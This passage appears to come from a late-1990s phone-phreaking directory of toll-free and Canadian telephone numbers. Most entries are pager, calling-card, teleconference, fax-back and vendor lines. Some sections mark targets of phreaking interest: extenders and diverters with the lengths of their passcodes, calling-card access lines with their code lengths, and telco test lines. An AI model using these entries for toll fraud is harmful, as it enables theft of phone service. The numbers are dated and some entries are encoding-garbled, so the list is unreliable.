Signaling Equipment and Systems) +1-800-825-2222 The 800 Connection. (Answering Service) +1-800-825-2255 Metro-Call Customer Service. (Pager service) +1-800-854-2355 MobileCall accounts. +1-800-858-8828 Cue Paging Corporation. +1-800-866-2770 MobileCom. (Pager service) +1-800-866-7000 MobileCom. +1-800-871-2355 The Phone Man. (I'm fucking serious... Haha) +1-800-872-6222 American Mobile Satellite Communications Products. (U.S. only) +1-800-874-6387 Trellis Communications. +1-800-887-2255 Trellis Premier Voice Mail and Paging. +1-800-890-7243 Metro-Call Pagers. +1-800-922-5469 SNET Wireless Services. +1-800-926-2355 Ubet Wireless. +1-800-951-2355 Cantel Communications. +1-800-969-9998 Cable and Wireless USA. +1-800-980-2355 Light Cellular. +1-800-999-6500 Cable and Wireless Customer Care Center. +1-800-SKY-8888 SkyTel System Access. +1-800-SKY-FAXE SkyFax (SkyTel Faxing) +1-800-SKY-GRAM Skyward (SkyTel Alpha-Numeric Paging) +1-800-SKY-PAGE SkyPager (SkyTel Numeric Paging) +1-800-SKY-TALK SkyTalk (SkyTel Voice Mail) +1-800-SKYTEL-5 SkyTel. +1-800-WIRELESS Page USA. +1-877-240-1267 Cantel Centre De Communication Tech. +1-877-499-1270 PageNet Wireless Messaging Network. +1-877-4-BELLCO Cellular Connection. +1-877-948-4968 (1-877-WITH-YOU) Frontier Cellular. +1-877-AIRFONE Message Center. +1-877-CELLPHONE Travel Phone. (Cellular Sales) +1-877-MOTOROLA Motorola. +1-877-ROGERS-1 Rogers Corporation. +1-877-ROGERS-2 Rogers AT&T Wireless Automated Self-Service System. +1-877-SATPHONE Globalstar Customer Care. (Satellite Communications) +1-877-WIRELESS Cellular Depot. +1-888-229-4443 Cantel AT&T Canada. +1-888-257-8826 Cantel Centre de Communication. +1-888-300-2355 Consolidated Wireless Corporation. +1-888-444-2355 Maricell Cellular. +1-888-481-FIDO Fido PCS Services. +1-888-540-2222 Clearnet Business Communications Center. +1-888-593-2355 S&E Cellular. +1-888-594-SNET SNET Prepaid Cellular Services. +1-888-622-RENT Rent Express. (Bell Mobility phone rentals) +1-888-638-2355 Cantel AT&T. +1-888-694-2355 Corporate Communications at AirTouch Customer Service. +1-888-801-2355 Cell Phones and Accessories. +1-888-877-2355 Comcev Communications. +1-888-879-2355 Portable Communications. (The home of the Phone Man) +1-888-901-2355 Digital Communications. +1-888-902-2355 NewTech Wireless. (Paging, cellular, equipment, etc.) +1-888-968-2355 Everything Wireless. +1-888-999-2355 Downtown Wireless. +1-888-CELL-COM CellCom and PageCom. +1-888-MOTOROLA Motorola. +1-888-WIRELESS Page USA. + + +------------------------------------------------------------------------------- + Free Disks: +------------------------------------------------------------------------------- + +1-800-232-7638 AEC Software Technical Support. (free Windows or Mac disk) +1-800-395-8425 EarthLink Sprint Sales. +1-800-453-3972 Datatrack (ask for Windows Atlas Equipment Manager demo disk) +1-800-487-4838 CompuServe. +1-800-554-4008 Discovery Channel (3 free disks for Internet software) +1-800-638-2661 EarthLink. +1-800-742-5877 UPS (ask for their shipping software for a free disk & CD) +1-800-773-4638 Primus Canada. +1-800-777-9638 (1-800-SPRYNET) Sprynet - Gives you two disks. +1-800-786-7638 (1-800-SUNSOFT) SunSoft - Free 30-day evaluation disk. (press 1) +1-800-827-6364 America Online. +1-800-973-1335 Suretrack Sales. (ask for a free demo disk) +1-800-FREE-MSN Micro$oft Network Canada. +1-800-PRODIGY Prodigy Internet Services. +1-877-288-6626 AT&T Canada Internet Service. +1-888-265-4357 (1-888-AOL-HELP) AOL Canada (only call for free 3«" AOL disks) +1-888-288-1233 AT&T Canada Internet Service. + + +------------------------------------------------------------------------------- + Calling Cards: +------------------------------------------------------------------------------- + +1-800-213-0304 Talk `n Toss Calling Card. +1-800-213-4222 Calling Card. +1-800-225-2255 ATN Communications. (collect, calling & credit card calls) +1-800-225-4288 ATN Communications. (collect, credit, calling card) +1-800-225-5128 NOS automated collect, credit and calling card calls. +1-800-225-5228 ATN Communications. (collect, credit, calling card) +1-800-225-5233 NOS automated collect, credit and calling card calls. +1-800-225-5268 ATN Communications. (collect, credit, calling card) +1-800-225-5475 Smart Cards USA. +1-800-225-5607 NOS automated collect, credit and calling card calls. +1-800-255-8355 AllTel Calling Cards. +1-800-265-3121 Prepaid LD. +1-800-267-3000 World Direct calling card calls. +1-800-276-2355 Frontier Communications Customer Service. +1-800-277-7468 Sprint Phone Card Calls (press 1) +1-800-279-6111 Unidial Calling Card. +1-800-284-2255 ATN Communications. (collect, credit, calling card) +1-800-300-2355 NOS. (calling card, collect calls, etc.) +1-800-303-5156 OLA Ontario Pre-paid calling card. +1-800-361-7227 HELLO! Phone Pass Prepaid Customer Service Center. +1-800-393-0711 7-11 Calling Cards. +1-800-396-2454 Tech-Card Customer Service. +1-800-423-4343 AT&T Calling Cards (16 digit code) (automated) +1-800-429-8036 OLA Ontario Pre-paid calling cards Customer Service. +1-800-437-6404 Champs Sports Calling Card (9 digit code) +1-800-437-6415 Coca-Cola prepaid phone card dialup. +1-800-437-9291 Star Telecom Network "Please enter your card number." +1-800-444-3556 (1-800-HI-HELLO) Hello Direct. (Mail-order telphonics equipment, + pre-paid phone cards, etc.) +1-800-463-0004 "Please enter your card number and PIN." +1-800-475-9105 Pre-paid calling cards Customer Service. +1-800-477-9692 ATN Customer Service and Calling Cards. +1-800-484-2266 MCI WorldCom. (4 Digit Security Code) +1-800-484-6245 MCI. (4 Digit Security Code) +1-800-519-1111 Pronto. "Please enter your PIN number now." +1-800-522-2020 Pacific Bell calling card calls. +1-800-525-5288 ATN Communications. +1-800-536-3273 Frontier Customer Service. +1-800-546-9639 Bell Atlantic collect/calling card calls. +1-800-555-1234 NOS automated collect, credit and calling card calls. +1-800-555-2255 NOS. Collect, credit card calls, Operator assisted, etc. +1-800-555-5321 SNET Calling Card Calls. +1-800-555-COKE Coca-Cola Calling Cards. +1-800-560-6245 "Please enter your four digit Frontier Spectrum PIN." +1-800-572-6361 Pepsi Phone Card. +1-800-576-2255 Frontier Communications Customer Service. +1-800-633-2255 NOS automated collect, credit and calling card calls. +1-800-662-6214 AT&T Calling Cards. +1-800-666-2657 "Please enter your calling card number." +1-800-674-0700 MCI WorldCom calling cards. +1-800-674-6245 Musical Notes and then "Please enter your card number now." +1-800-674-7325 MCI Calling Card. +1-800-674-9997 MCI Calling Card. +1-800-690-6245 "Please enter your four digit Frontier Spectrum PIN." +1-800-725-5288 ATN Communications. +1-800-741-2255 ATN Communications. (collect, credit, calling card, Op assisted.) +1-800-741-7200 MCI WorldCom calling cards. +1-800-783-1414 Frontier Access Card. +1-800-783-1444 Frontier Access collect/calling card calls. +1-800-783-2020 Frontier Communications Customer Service. +1-800-811-3728 Globo Prepaid Phone Cards (10 digit codes) (automated) +1-800-814-2808 Sprint Prepaid calling card service. +1-800-827-8750 "Please enter your calling card number." +1-800-836-2255 "Press 1 for English, 2 for Korean. Enter your card number." +1-800-860-4444 Qwest Communications. (calling card calls) +1-800-860-6000 Qwest Communications calling cards. +1-800-864-7000 Premier World Link Access Number. +1-800-879-3782 NOS (automated collect, credit, calling card calls) +1-800-909-3191 Tech-Card (William Shatner) +1-800-909-3206 MCI WorldCom Pre-paid Card System. +1-800-909-3207 MCI WorldCom Pre-paid Card System. +1-800-909-3212 MCI WorldCom Pre-paid Card System. +1-800-909-3214 GTN-Phone Card System. +1-800-909-3215 Pre-paid Calling Card System. +1-800-909-3217 1-800 Pre-paid. +1-800-909-3218 1-800 Pre-paid. +1-800-909-3219 1-800 Pre-paid. +1-800-909-3225 MCI WorldCom Pre-paid Card System. +1-800-909-3231 MCI WorldCom Pre-paid Card System. +1-800-909-3236 MCI WorldCom Pre-paid Card System. +1-800-909-3240 MCI WorldCom Pre-paid Card System. +1-800-909-3242 MCI WorldCom Pre-paid Card System. +1-800-909-3245 MCI-Exchange Card Service. +1-800-909-3477 Pre-paid Long-Distance Service. +1-800-909-3533 Pre-paid Long-Distance Phonecard (PEI/PC) +1-800-909-3640 MCI WorldCom Pre-paid Card System. +1-800-909-3641 MCI WorldCom Pre-paid Card System. +1-800-909-3642 MCI WorldCom Pre-paid Card System. +1-800-909-3643 "All State" (MCI WorldCom Pre-paid Card System) +1-800-909-3646 MCI WorldCom Pre-paid Card System. +1-800-909-3653 MCI WorldCom Pre-paid Card System. +1-800-909-3654 MCI WorldCom Pre-paid Card System. +1-800-909-3657 MCI WorldCom Pre-paid Card System. +1-800-909-3661 Pre-paid Calling Card System. +1-800-909-4495 Calling Card System (Insimity Point Security Code) +1-800-934-8642 VoiceNet Calling Cards (New York, NY) +1-800-950-1077 GCI Long Distance. (Alaska) +1-800-997-6245 Decoma calling card service. "Please enter your card number." +1-800-999-9000 TONE. "Please enter your MCI WorldCom card number now." +1-800-BCE-HELP Ideal Dial's Telecard Platform. +1-800-DIAL-166 ATN Communications. +1-800-EASY-TEL EasyTel Calling Card Calls. +1-800-ONE-DIME Sprint's 1-800 One Dime. +1-800-PRE-PAID 1-800 Pre-paid. +1-800-YOU-SAVE Collect, Calling Card, Credit Card Calls. +1-877-258-9088 Globo Prepaid Phone Cards Customer Service. +1-888-813-1426 Kokanee Talkin' Tag Phone Card (10 digit PIN) +1-888-818-4266 GST calling cards. + + +------------------------------------------------------------------------------- + Teleconferencing: +------------------------------------------------------------------------------- + +1-800-225-5100 AT&T Corporate Teleconferencing. +1-800-225-5500 Teleconference Assistance. +1-800-225-5700 AT&T Teleconferencing. +1-800-232-1234 AT&T Teleconferencing. +1-800-235-0900 AT&T Teleconferencing. (Spanish and English) +1-800-255-5100 AT&T Teleconferencing. +1-800-255-5500 AT&T Teleconferencing. +1-800-369-1117 MCI Teleconferencing. +1-800-448-2557 AT&T Teleconferencing. +1-800-465-0025 Global Crossing SpeedLink (Conf Calls, Voicemail, Dir Assistance) +1-800-475-4455 Conference Calling Center. +1-800-475-6894 Quarrel Conferencing. +1-800-525-8244 Frontier Confertech. +1-800-544-6363 AT&T Alliance Teleconference Service. +1-800-567-1250 Global Crossing SpeedLink. +1-800-567-3678 Bell (Dis)Advantage Teleconference (Canada) +1-800-569-0788 A Better Conference. +1-800-625-5288 Teleconference Playback Center. +1-800-667-3601 Global Crossing SpeedLink. +1-800-668-4210 Global Crossing Frontier ConferTech. +1-800-768-2550 Global Crossing SpeedLink. +1-800-768-7775 Global Crossing SpeedLink. +1-800-827-1700 Conference Call USA. +1-800-886-2355 Frontier Teleconferencing. +1-800-900-6338 Advantage Conferencing Services. +1-800-925-8000 Conference America. +1-800-933-3258 Global Crossing. +1-800-954-2387 Frontier (Global Crossing) +1-800-962-0044 Conf Call USA. +1-800-CONF-CALL Smith Klein Beecham Conference Center (Sprint) +1-888-345-5200 Video Conferencing Center. + + +------------------------------------------------------------------------------- + Credit Card Verification: +------------------------------------------------------------------------------- + +1-800-228-1111 American Express. +1-800-228-1122 Credit Card Verification. +1-800-268-2530 Credit Card Verification. +1-800-268-8281 Royal Bank Authorization Centre for Visa Cards. +1-800-333-1337 Authorization Centre. +1-800-336-0220 Credit Card Service Bureau. +1-800-361-8370 National Bank Authorization Centre for Master Card. +1-800-528-2121 American Express Card. +1-800-555-1880 Fleet's Card Activation and PIN line. +1-800-556-5678 Bank number to report stolen bank cards. +1-800-561-5224 Credit Authorization Centre +1-800-796-2355 Card Services (Visa and Mastercard) +1-800-810-2355 Customer Service Center. +1-800-866-5000 National Credit Center. +1-800-925-8888 Automated Authorization Centre. (Credit Cards) + + +------------------------------------------------------------------------------- + Canadian Security Intelligence Service (CSIS): +------------------------------------------------------------------------------- + +(204) 983-5405 CSIS in Winnipeg. +(306) 780-5512 CSIS in Saskatchewan. +(403) 292-5255 CSIS in Calgary. +(403) 421-5800 CSIS in Edmonton. +(416) 865-1480 CSIS in Toronto. +(418) 529-8926 CSIS in Quebec City. +(506) 452-3786 CSIS in Fredericton. +(514) 393-5600 CSIS in Montreal. +(604) 528-7400 CSIS in British Columbia. +(613) 993-9620 CSIS HQ in Ottawa. +(613) 998-1679 CSIS. +(709) 772-5449 CSIS in Newfoundland. +(902) 420-5900 CSIS in Halifax. +1-800-267-7685 CSIS (Ontario only) +1-800-564-0866 CSIS (Toronto region) +1-800-661-5780 CSIS (Alberta/Saskatchewan/Manitoba/Thunder Bay only) + + +------------------------------------------------------------------------------- + Non-Toll Free Extenders, etc. +------------------------------------------------------------------------------- + +(416) 866-8866 PBX. +(519) 651-2000 Extender. +(519) 651-2250 The Communications Group. +(519) 651-2252 Extender (4 digit Client numbers and passcodes) +(519) 654-9000 Ability Telecom extender/diverter. (4 digit passcodes) +(519) 742-9621 Bell Canada VMS. +(519) 846-2255 Extender. (5 digit passcode) +(519) 846-8786 PBX (dial "9" then the number) +(519) 895-2255 Extender. (5 digit passcode) +(905) 337-3033 Diverter. (416/905) + + +------------------------------------------------------------------------------- + Silent Lines, Test Lines and Strange Messages: +------------------------------------------------------------------------------- + +(403) 425-0052 Gives you Info about a Bell CO in Alberta. +(416) XXX-1185 Bell Test Lines. +(416) 690-4804 - Remote 44A (aka Bell Hut) (it's a switching center) +(423) 539-0001 Memorycall Access line. +(423) 588-9909 Memorycall Access line. +(423) 602-7811 Remote Call FWD Access. +(514) 391-1715 Wide Area Telephone Service (WATS) +(514) 391-4005 MDAR Trouble line. +(514) 481-1111 1khz tone. +(514) 481-1191 1Khz&Battery. +(514) 673-2111 Centrex (ASA) +(514) 786-6786 Control. +(514) 852-8686 Cables. +(514) 870-0200 CDE code MTL. +(514) 870-0669 CDE code MTL. +(514) 870-0704 CDE code MTL. +(514) 870-1252 DMS. +(613) 544-1111 Bell Test Line. +(847) 823-9995 Gives reading on the Bell CO, including alert and battery + conditions and temperature. Also allows you to check the sound + levels, allowing you to hear inside the CO. +(905) 521-1185 Bell Test Line. +(905) 851-0012 Bell Test Line. +1-800-200-0301 Test line (loud beep) +1-800-200-0302 Test line (loud beep) +1-800-210-0000 Tones. +1-800-221-0200 Siren Tones. +1-800-225-5122 "We are sorry but this program has not started. Thank you for + calling." +1-800-225-5300 "We are sorry but this program has ended and no further calls are + being taken. Thank you for calling." +1-800-225-5308 High pitched TONE. +1-800-225-5528 TONE. "Please enter the number you are calling." +1-800-225-5563 Ring+Silent line. +1-800-225-5871 High Tone then Dialtone. +1-800-265-1111 High Tone. +1-800-266-9999 Fast Busy Signal. +1-800-323-8126 Dialtone. +1-800-325-4112 Short Tones + High Tone. +1-800-356-2255 Dialtone. +1-800-361-8313 Bell Canada. "There is no service at this number." +1-800-369-2255 Silent line. +1-800-424-5664 "Please check your number and dial again." +1-800-430-7938 DMS. +1-800-437-2206 Alphanet Telecom recording. +1-800-437-3025 No Ring+Silent Line. +1-800-437-8351 High Tones. +1-800-444-1677 Siren Tones. +1-800-455-2013 Ring + Click then Trunk Busy signal. +1-800-455-7947 Ring then silent line. +1-800-456-0000 Dialtone. (PBX) +1-800-465-7735 Strange Tones. +1-800-475-2037 Siren Tones. +1-800-483-2276 No Ring + Trunk Busy signal. +1-800-483-2496 Strange Tones. +1-800-483-2655 "We're sorry, we're unable to place a call from this number." +1-800-483-2730 High Tone. +1-800-483-2933 Siren Tones. +1-800-483-9774 Ring + Trunk Busy Signal. +1-800-485-2255 Ring + Trunk Busy Signal. +1-800-522-2255 Dialtone. +1-800-555-1120 "We are sorry but this program has ended and no further calls are + being taken. Thank you for calling." +1-800-555-1220 Same message as 1-800-555-1120. +1-800-555-1226 Siren Tones. +1-800-555-2123 Tones. +1-800-555-2147 Ring + Trunk Busy signal. +1-800-555-2342 Dialtone. (PBX) +1-800-555-3585 Dialtone. (PBX) +1-800-555-3696 Silent line. +1-800-555-6690 Tone. +1-800-565-6737 High Tone. +1-800-624-2255 "We're sorry. We're unable to place a call from this number. + Goodbye." +1-800-638-0156 Tones. +1-800-647-2255 "I'm sorry. We are no longer taking calls for this project." +1-800-745-6678 Dialtone. +1-800-747-6678 High Tone. +1-800-749-2355 High Tone. +1-800-749-9975 Tone. +1-800-827-0000 "You have entered an invalid telephone number..." +1-800-827-0011 "We're sorry, all circuits are now busy..." +1-800-827-0036 No Ring+Click+Trunk Busy. +1-800-827-0058 High Tone. +1-800-827-0875 "This ATT Technologies number is not active." +1-800-827-1227 Ring+Trunk Busy. +1-800-827-3005 Alphanet Telecom recording. +1-800-827-3210 NIS (Reads back 827-3210) +1-800-827-3670 High Tones. +1-800-827-3750 "You have dialed an invalid location." +1-800-827-7878 "You have dialed an invalid location." +1-800-827-9010 "We're sorry, the number you have called is an invalid number." +1-800-827-9876 NIS (Reads back 827-9876) +1-800-827-9890 "You have reached a number that is NIS at this time. 827-9890." +1-800-827-9892 "You have reached a number that is NIS at this time. 827-9892." +1-800-827-9904 "You have reached a number that is NIS at this time. 827-9904." +1-800-861-9905 Loud Ring+Tones then "Thank you. Please hang up now." +1-800-862-6338 Blast of Noise. "Please enter your calling card PIN number." +1-800-866-9317 High Tone. +1-800-877-8000 Low Tone. +1-800-878-3532 High Tone. +1-800-898-2355 Silent line. +1-800-900-1302 Silent line. +1-800-900-2274 Silent line. +1-800-909-3467 Low Tone (PBX) +1-800-909-4358 High Tone. +1-800-909-4364 High Tone. +1-800-925-0288 "This is not a valid number." +1-800-925-3300 Low Tone. +1-800-925-6620 Low Tone. +1-800-925-8300 Rings+Silent Line. +1-800-959-9997 "Test 1, 2, 3, 4." message. +1-877-268-4272 Tones. +1-877-900-EASY "You have reached an inactive number on the EasyTel network." +1-888-374-2355 "You have entered an invalid telephone number." +1-888-468-2355 "Due to technical difficulties we cannot record your message + at this time." +1-888-487-5346 L.E.G.O.S. +1-888-786-6786 Control. +1-888-871-2380 Waterloo Facilities. + + +------------------------------------------------------------------------------- + FAX-Backs: +------------------------------------------------------------------------------- + +1-800-222-9323 AMV FAX-Back. +1-800-268-9100 Bell Canada 1-900, 976, Info Line (2,1,2,AC,NUM,#,#) +1-800-282-2000 Phillips (1,2,6,AC,NUM,#,1,#) +1-800-323-6586 Tandy Retail Services FAX-Back. (order Tandy docs!) +1-800-345-1518 Compaq Computer PaqFax. +1-800-365-0696 Genecom Corporation FAX-back service. (Digital Printer Support) +1-800-368-9673 Hewlett-Packard Information Storage Quick Fax (1,2,AC,NUM,1,2,) +1-800-380-0030 Diamond (2,2AC,NUM,#,1,AC,NUM,#,1) +1-800-443-1254 HP Portable Products (5,5,5,#,3,2,2,2,1#AC,NUM,#,1,#,) +1-800-445-7736 Exabyte Fax-on-Demand (2,1) +1-800-446-6212 Analog Fax (2,1,0,AC,NUM,1,AC,NUM,#,1) +1-800-451-2100 Lucent Technologies Cincinnati. (get product info by FAX) +1-800-483-2495 Central FAX on demand system. (FAX-Back) +1-800-521-2846 Brother FAX-Back (they make fax machines and typewriters) +1-800-522-6752 Amp Fax (1,8,90,#,#,AC,NUM,#,#,AC,NUM,#,#,#) +1-800-525-3019 Intel (1,1,3,2,AC,NUM,1,#) +1-800-684-2255 Nortel Networks Fax on Demand System. (1,1,1,AC,NUM,#) +1-800-722-4786 Sun Microsystems Service Canada (1,2,4,1,AC,NUM,#,1) +1-800-727-3351 Micro$oft Sales FAX Service Line. (press *,1,1,AC,NUM,#,5,0) +1-800-762-6163 3Com Fax-on-Demand. +1-800-822-4269 Borland Tech-Fax Document Retrieval System (3,2,1,AC,NUM,#,1,3,1) +1-800-827-3000 Elite Group (press 1 for Fax-back) +1-800-832-4778 Western Digital Fax Access (2,1,1,1,AC,NUM,#,1,AC,NUM,#,1) +1-800-832-6328 Ameritech Team Data Support Center (press 6,2,1,2,AC,NUM,1) + (pressing 6 transfers you to the Ameritech Team Data Information + Server which you can use to obtain telco info via FAX-Back) +1-800-872-4786 Sun Microsystems Service United States (2,4,1,AC,NUM,#,1) +1-800-879-8632 US West News line. (U.S. only) +1-800-909-0261 Apple Fax. +1-800-909-0263 3M Economic Services Fax-On-Demand System. +1-800-909-0264 Kinkos Fax-On-Demand Service. +1-800-909-0269 Co-merica Bank, California's Fax-On-Demand Service. +1-800-943-8329 Integrated Device Tech (1000,1,3000,1,#,AC,NUM#,1,#) +1-800-FAX-SUNW Sun Fax-Back. +1-800-IBM-4FAX IBM FAX Information Service. (3,1,0,1,1,1,AC,NUM,#,1,1) +1-800-SKY-USER SkyTel Customer Service. (press 3 for FAX on demand for docs) +1-888-322-8444 Hartford Shareholders News & Info FAX-Back (3,1,AC,NUM) + + +------------------------------------------------------------------------------- + Yellow Pages: +------------------------------------------------------------------------------- + +(519) 579-2252 Baka Communications. (Bell Mobility Dealer) +(519) 654-2211 Bestel Message Centre Ltd. (Paging Services) +(519) 725-2570 Bell Mobility Baca. +(519) 744-7781 Bell Mobility Centre (Highland Hills Mall) +(519) 745-3900 Bestel Message Centre Ltd. (Full Messaging, Voice Mail, Paging) +(519) 893-8777 Bell World. +(519) 894-2211 Bell Mobility Cellular Plus Centre. +1-800-311-WORK Bell Canada. +1-800-268-1711 Baka Communications Inc. (Toronto and Mississauga) +1-800-387-7243 (1-800-387-PAGE) Bell Mobility Paging. +1-800-917-1917 Bell Canada's Advantage Call Centre Solutions. + +(519) 888-9660 Cantel AT&T Store (Connestoga Mall) +(519) 893-1811 Cantel AT&T Automated Self-Service System. +1-800-268-1087 Cantel AT&T Paging Customer Service. +1-888-353-4726 (1-88-TELEGRAM) AT&T Canada. (Send a Telegram Worldwide) + +(519) 741-5990 London Telecom Network. +(519) 743-3602 Extend Communications Inc. (Pagers, Voice Mail Boxes, etc.) +(519) 748-3200 Rogers Cablesystems General Enquiries. +(519) 749-2434 Clearnet Business Communications Centre. (Paging, PCS, etc.) +(519) 893-2310 Rogers Technical Assistance. +(519) 893-4400 Rogers Community Programming. +(519) 896-7600 Ericsson Communications Canada Inc. +(905) 561-5443 Digital Mobile Systems Inc. + +1-800-216-0888 PageNet. +1-800-263-4824 Digital Mobile. (Authorized Motorola Dealer) +1-800-265-8725 Shaw Paging. +1-800-270-8220 SOS 2000. (Government Canada line that lists businesses which + offer Year 2000 expertise and services) +1-800-453-6835 (1-800-GLENTEL) Glentel Inc. Mobile Satellites. +1-800-838-0298 MRC Systems Inc. +1-888-253-2763 (1-888-CLEARNET) Clearnet Customer Service. +1-888-474-3486 Iridium Canada. (Voice, Data, FAX & Paging Services) + + +Internet: + +(519) 570-2121 GO INTERNET CAFE. +(519) 651-3400 Sentex Communications. +(519) 885-0211 BondNet Internet Services Inc. (Cisco Systems Reseller, Lucent + Technologies Agent) +1-800-263-8433 Burlington Network Services. +1-800-668-2857 Wightman Telecommunications. (ISP) +1-800-773-4638 Globalserve Internet. +1-888-298-3447 Netcom Canada. +1-888-4-SENTEX Sentex Communications. +1-888-6-NEWNET New Net Technologies Group. + + +Cable: + +1-800-267-1919 CaTech Systems LTD. +1-800-400-4954 Cablecom International. +1-877-342-3726 Fiber Core Communications. +1-877-652-0088 First Call Locate Service. + + +Telephone Companies: + +(519) 651-2000 A-TEL Communications. (Press "9" to dial out) +(519) 651-2250 A-TEL Communications. +(519) 744-4455 A Telephone Man. (listed under Telephone Companies) +(519) 744-9640 A + Tel Inc. +(519) 745-0856 Telnet Communications. +(519) 746-3357 Sprint Canada Inc. + + +Telephone Directories: + +(519) 571-7700 Bell ActiMedia. +(519) 658-2001 Kitchener-Waterloo Talking Yellow Pages. (Gives local time & + temperature) + + +Telephone Equipment: + +(519) 570-0885 WilTel. +(519) 570-1320 Greb Tele-Data Inc. (Authorized Sprint Canada Sales & Service) +(519) 570-3609 Brant Telephone. (Authorized AT&T Canada and Lucent Technologies + Dealer. Long Distance and Conferencing Services) +(519) 650-2000 City-Com Communications (Golden Triangle) Inc. +(519) 654-2000 Regional Telecom. +(519) 654-2003 Intelicom Systems. +(519) 658-4588 Instatel Communications +(519) 741-9262 Barrett B J Communications. +(519) 744-6500 Tele-Connect. +(519) 747-3333 PhoneMaster. (Authorized Sprint Dealer) +(519) 748-1177 J&D Systems Inc. (Nortel Networks Authorized Distributor) +(519) 748-2228 Telefficiency. (Authorized Nortel, Meridian, etc. Distributor) +(519) 748-5832 Delphi Solutions. (Authorized Sprint Canada Agent) +(519) 883-4109 Exceltech. (Telephone equipment services) +1-800-932-9443 J P Cable Installations Ltd. (Authorized Bell Agent) +1-888-276-1604 Telecom-Tech. +1-888-7-DELPHI Delphi Solutions Customer Service. + + +Long Distance: + +(519) 220-1120 Ability Telecom. (Flat Rate Long Distance) +(519) 576-7077 Distributel Communications Ltd. (Long Distance Service) +(519) 651-2250 Fone Pass (formerly Ad-Tel Communications) +(519) 654-9614 Ontel Long Distance (Flat Rate, Worldwide Long Distance) +1-800-670-2266 AT&T Canada Long Distance. +1-800-700-0017 Glentel Inc. (Long Distance) +1-888-266-1313 WinTel Communications. (Long Distance) +1-888-676-7777 Bell Canada (Dis)Advantage Optimum savings program. +1-888-824-1032 Telelink Canada. (Flat Rate Long Distance) + + +Toronto: + +(416) 240-4955 Rogers AT&T Wireless. +(416) 242-4242 The Canadian Telephone Company. +(416) 255-8000 Watts Communications Ltd. +(416) 292-1010 Toronto Talking Yellow Pages. (local time and temperature) +(416) 345-2770 AT&T Canada Telecommunications Solutions Sales Dept. +(416) 350-1000 Bell Nexxia. +(416) 360-2307 Deutsche Telekom Canada. +(416) 366-FIDO Fido. (Wireless Communications) +(416) 368-0002 Sun Microsystems Sales Office. +(416) 393-3500 TTC Time. (reports EST every 10 seconds) +(416) 412-5000 Bell ActiMedia. +(416) 412-5100 Yellow Pages Info Direct. +(416) 412-5200 Yellow Pages Assistance. +(416) 412-5400 Bell ActiMedia Directory Ordering and Sales. +(416) 412-5600 Bell ActiMedia Directory Delivery Department. +(416) 412-5999 Bell ActiMedia Customer Service. +(416) 425-4500 1st Canadian Telecom. (Toronto Headquarters) +(416) 533-7670 The Local Telephone Company Limited. +(416) 581-0000 Lotus Development Canada. +(416) 590-0202 Bell World. +(416) 601-1200 Metro Access. +(416) 620-2420 Bell ActiMedia. +(416) 674-2233 Bell Mobility. +(416) 733-4032 Telesat Canada. (Satellite Communications) +(416) 756-4900 Nortel Control Center. +(416) 767-7778 The Local Telephone Company Limited. +(416) 777-2600 London Telecom Network. +(416) 777-2881 WinTel Communications. +(416) 860-1828 Hong Kong Telecom Canada. +(416) 862-0705 MCI WorldCom. +(416) 862-1717 Bell Canada Repair. (Toronto Office) +(416) 924-9511 Distributel Communications Limited. +(613) 226-5456 Nortel Emergency Technical Assistance Support. +(905) 238-2349 Panasonic Canada, Inc. Telecommunications. +(905) 264-5560 SCO Canada. +(905) 470-3456 Toshiba Canada. (Markham, ON) +(905) 470-3478 Toshiba Canada. +(905) 477-3047 Telesonic Communications Prepaid Calling Cards. +(905) 477-4344 Borland Canada. +(905) 477-6745 Sun Microsystems of Canada. (Head Office in Markham, ON) +(905) 542-3977 Entourage Technology Solutions. (Authorized Bell Distributor) +(905) 602-5454 Fujitsu Canada. +(905) 629-5000 Centel Communications. (Authorized Nortel Dealer) +(905) 669-8107 Maxxell Canada. +(905) 676-6700 Computer Associates. (Mississauga Office) +(905) 712-4242 Williams Telecommunications Corp. +(905) 795-1111 Canon Canada. +(905) 890-2355 Motorola Cellular. +(905) 890-8100 Oracle Corporation Canada. +(905) 946-0928 Autodesk Canada. +1-800-263-9217 Bell Business Repair. +1-800-268-9322 Bell Voice Message Center. +1-800-287-9334 Canadian Operator Services (Canadian Payphone Corp.) +1-800-465-6887 Lotus Development Corp. Canada. +1-800-519-1900 Corporate Image Marketing. (Toll free vanity numbers) +1-800-827-4890 Globo Communications. (Spanish) +1-877-249-2782 CRTC Client Services. +1-877-666-7297 Canada Payphone Collect Call Services. + + +------------------------------------------------------------------------------- + International Numbers: +------------------------------------------------------------------------------- + +Argentina Country Direct: + +0800-5-4900 Alemania +0800-2-3200 B‚lgica +0800-5-5500 Brasil +0800-2-1004 Canada +0800-5-5601 Chile (ENTEL) +0800-5-5603 Chile (VTR) +0800-2-5604 Chile (SAT) +0800-5-5700 Colombia +0800-2-4500 Dinamarca +0800-2-1001 EE.UU. (AT&T) +0800-5-1002 EE.UU. (MCI) +0800-5-1003 EE.UU. (SPRINT) +0800-2-3400 Espa¤a +0800-5-3300 Francia +0800-2-3030 Grecia +0800-2-3100 Holanda +0800-2-1809 Is. V¡rgenes +0800-5-3900 Italia +0800-5-3901 Italia (Tarj. Prepaga) +0800-5-3902 Italia (Tarj. Cr‚dito) +0800-2-8100 Jap¢n (KDD) +0800-2-0505 Nicaragua +0800-2-4700 Noruega +0800-5-5950 Paraguay +0800-2-5100 Per£ +0800-5-3510 Portugal +0800-5-4401 Reino Unido (BT) +0800-2-4400 Reino Unido (MERCURY) +0800-5-2809 Rep. Dominicana +0800-5-6500 Singapur +0800-2-4100 Suiza +0800-5-5980 Uruguay +0800-2-5800 Venezuela + + +Russia: + +AT&T Numbers: + ++7 095 9740074 AT&T Tone System (Moscow HQ) ++7 095 7555042 AT&T operator. (English) ++7 095 1555042 AT&T Automated Calling System. ++7 095 7555555 AT&T operator. (Russian) + +Free 800 Services. Moscow Numbers: + +7473320 MCI Operators in California. (Russian) +7473322 Connects to Customer Service in Russian. (English) +7473321 AT&T Operators (New York) +7473324 Sprint Global, Arizona, USA +7473325 Orua, Canada +7473327 National Calling Center, UK +7473329 Japan service +7473356 Sprint Calling Cards. +7473359 France service +7473361 Italian service +7473363 Chili service + +National Russian Numbers: + +8-10 800 4977211 ‘˜€ (AT&T) +8-10 800 4977222 ‘˜€ (MCI) +8-10 800 4977255 ‘˜€ (Sprint) +8-10 800 4977220 ‘˜€ (MCI àãá᪮ï§ëç­ ï á«ã¦¡ ) +8-10 800 4977233 Š ­ ¤  (Teleglobe) +8-10 800 4977266 ‚¥«¨ª®¡à¨â ­¨ï (BT) +8-10 800 4977277 ‚¥«¨ª®¡à¨â ­¨ï (Mercuri) +8-10 800 4977288 